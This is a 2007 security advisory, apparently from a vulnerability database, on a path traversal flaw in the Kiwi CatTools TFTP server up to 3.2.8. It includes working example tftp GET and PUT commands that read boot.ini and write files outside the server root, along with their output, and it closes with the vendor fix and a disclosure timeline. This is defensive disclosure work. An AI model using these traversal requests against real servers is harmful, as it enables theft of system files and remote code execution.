Kiwi CatTools TFTP <= 3.2.8 Remote Path Traversal Vulnerability

🗓️ 28 Feb 2007 00:00:00Reported by RootType

Kiwi CatTools TFTP security vulnerability version 3.2.8 allows remote path traversal leading to information disclosure and code execution


                                                Path&nbsp;traversal&nbsp;security&nbsp;vulnerability&nbsp;in&nbsp;Kiwi&nbsp;CatTools&nbsp;TFTP&nbsp;up&nbsp;to&nbsp;3.2.8&nbsp;
server&nbsp;can&nbsp;lead&nbsp;to&nbsp;information&nbsp;disclosure&nbsp;and&nbsp;remote&nbsp;code&nbsp;execution&nbsp;

Risk:&nbsp;High&nbsp;

DISCUSSION&nbsp;

Kiwi&nbsp;CatTools&nbsp;TFTP&nbsp;server&nbsp;doesn.t&nbsp;properly&nbsp;verify&nbsp;filename&nbsp;in&nbsp;PUT&nbsp;and&nbsp;
GET&nbsp;request&nbsp;which&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;download/upload&nbsp;any&nbsp;file&nbsp;from/to&nbsp;
server.&nbsp;Default&nbsp;setting&nbsp;allows&nbsp;replacing&nbsp;of&nbsp;existing&nbsp;files.&nbsp;Such&nbsp;
settings&nbsp;lead&nbsp;to&nbsp;probability&nbsp;to&nbsp;replace&nbsp;an&nbsp;executable&nbsp;files&nbsp;and&nbsp;run&nbsp;code&nbsp;
on&nbsp;attacker&nbsp;choice.&nbsp;

EXAMPLES&nbsp;

C:\&gt;tftp&nbsp;-i&nbsp;10.1.1.2&nbsp;GET&nbsp;/x/../../../../../boot.ini&nbsp;boot.txt&nbsp;

Transfer&nbsp;successful:&nbsp;212&nbsp;bytes&nbsp;in&nbsp;1&nbsp;second,&nbsp;212&nbsp;bytes/s&nbsp;

C:\&gt;type&nbsp;boot.txt&nbsp;

[boot&nbsp;loader]&nbsp;timeout=30&nbsp;
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS&nbsp;

C:\&gt;tftp&nbsp;-i&nbsp;10.1.1.2&nbsp;PUT&nbsp;boot.txt&nbsp;/x/../../../../../pttest.txt&nbsp;

Transfer&nbsp;successful:&nbsp;212&nbsp;bytes&nbsp;in&nbsp;1&nbsp;second,&nbsp;212&nbsp;bytes/s&nbsp;

C:\&gt;type&nbsp;pttest.txt&nbsp;

[boot&nbsp;loader]&nbsp;timeout=30&nbsp;
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS&nbsp;

C:\&gt;&nbsp;

SOLUTION&nbsp;

Upgrade&nbsp;to&nbsp;CatTools&nbsp;3.2.9&nbsp;which&nbsp;is&nbsp;available&nbsp;for&nbsp;download&nbsp;at&nbsp;
http://www.kiwisyslog.com/downloads.php&nbsp;

CREDITS&nbsp;

Sergey&nbsp;Gordeychik&nbsp;of&nbsp;Positive&nbsp;Technologies&nbsp;(www.ptsecurity.com)&nbsp;

DISCLOSURE&nbsp;TIMELINE&nbsp;

Vulnerability&nbsp;discovered:&nbsp;11/20/2006&nbsp;

Initial&nbsp;vendor&nbsp;contact:&nbsp;12/08/2006&nbsp;

Patch&nbsp;released:&nbsp;02/13/2007&nbsp;

Public&nbsp;disclosure:&nbsp;02/27/2007&nbsp;

28 Feb 2007 00:00Current

7.1High risk

Vulners AI Score7.1

Kiwi CatTools TFTP &lt;= 3.2.8 Remote Path Traversal Vulnerability

Kiwi CatTools TFTP <= 3.2.8 Remote Path Traversal Vulnerability